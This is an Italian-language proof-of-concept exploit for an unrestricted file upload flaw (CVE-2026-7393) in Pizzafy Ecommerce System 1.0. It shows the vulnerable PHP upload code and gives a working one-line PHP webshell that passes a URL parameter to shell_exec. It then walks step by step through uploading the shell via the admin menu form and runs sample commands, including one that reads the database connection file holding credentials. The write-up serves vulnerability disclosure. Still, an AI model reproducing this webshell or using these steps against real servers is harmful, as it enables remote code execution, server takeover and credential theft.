
Exploit proof-of-concept per CVE-2026-7393: upload di file senza restrizioni nel Pizzafy Ecommerce System 1.0 che consente ad amministratori autenticati di caricare una webshell PHP e ottenere l'esecuzione remota di codice.
| Campo | Valore |
|---|---|
| Fornitore | SourceCodester |
| URL del fornitore | https://www.sourcecodester.com |
| Prodotto | Pizzafy Ecommerce System con PHP e MySQL |
| URL del prodotto | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html |
| Versione | 1.0 |
| Vulnerabilità | Upload di file senza restrizioni → Esecuzione di codice in remoto |
| CWE | CWE-434 |
| Punteggio CVSSv3 | 7.8 (Alto) |
| Vettore di attacco | Rete |
| Autenticazione richiesta | Sì (Amministratore) |
| Interazione utente | Nessuna |
| Ricercatore | Imad Alvi |
| Data | 2026-04-12 |
File: Pizzafy/admin/admin_class_novo.php → funzione save_menu()
Parametro: img (FILE)
Percorso di upload: Pizzafy/assets/img/
La funzione save_menu() di Pizzafy Ecommerce System 1.0 gestisce il caricamento delle immagini per le voci di menu senza effettuare alcuna validazione del tipo di file. L'applicazione recupera l'estensione del file tramite pathinfo() ma non controlla né limita mai i tipi di file consentiti prima di spostare il file caricato nella directory assets/img/ accessibile dal web. Un amministratore autenticato può caricare una webshell PHP camuffata da immagine del menu, quindi accedervi direttamente tramite il browser per ottenere l'esecuzione di codice in remoto sul server.
Codice vulnerabile in admin_class_novo.php:
function save_menu(){
extract($_POST);
// ...
if($_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
$data .= ", img_path = '$fname' ";
}
// No extension check, no MIME type check
}
Creare un file denominato shell_web2.php con il seguente contenuto:
<?php echo shell_exec($_GET['cmd']); ?>
Accedere come amministratore e navigare fino a:
http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu
Compilare il modulo del menu con valori validi e selezionare shell_web2.php come file immagine. Fare clic su Salva.
La shell ora è elencata come voce di menu nella pagina rivolta ai clienti.
Navigare fino alla directory degli asset — l'elenco delle directory è abilitato (CWE-548):
http://192.168.0.9/pizzafy/Pizzafy/assets/img/
La shell PHP caricata è visibile nell'elenco delle directory.
Accedere direttamente alla shell caricata e passare comandi di sistema tramite il parametro cmd:
http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami
Risposta — comando del sistema operativo eseguito sul server:
desktop-g1i9np3\dell
?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php
Un amministratore autenticato può:
La directory assets/img/ ha l'elenco delle directory abilitato, consentendo a utenti non autenticati di sfogliare tutti i file caricati, inclusa la webshell. Ciò aggrava la gravità della vulnerabilità di upload di file.